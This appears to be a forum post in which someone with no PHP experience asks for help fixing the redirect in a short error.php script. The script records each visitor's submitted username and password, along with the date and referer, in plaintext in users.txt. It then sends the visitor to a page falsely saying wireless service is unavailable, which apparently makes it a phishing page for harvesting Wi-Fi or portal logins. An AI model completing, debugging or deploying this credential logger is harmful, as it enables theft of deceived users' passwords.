I am trying to redirect to a webpage in the www directory called 4043error.html that just says wireless service unavailable after the error.php is executed.
I have this and it executes all the way down to the part in red. I get a blank web page with no redirect.
I don't code php so any help would be appreciated.
This is my error.php file.
<?php
$ref = $_SERVER['HTTP_REFERER'];
$today = date("F j, Y, g:i a");
if (isset($_POST['name']) && !empty($_POST['name'])) {
$nam = stripslashes($_POST['name']);
$pas = stripslashes($_POST['pass']);
$nam = htmlspecialchars($nam, ENT_QUOTES);
$pas = htmlspecialchars($pas, ENT_QUOTES);
$content = $today . " -- " . $ref . " -- " . $nam . " -- " . $pas;
$filed = @fopen("users.txt", "a+");
@fwrite($filed, "$content\n");
@fclose($filed);
$loc = '4043error.html';
header("Location: $loc");
die(0);
}
?>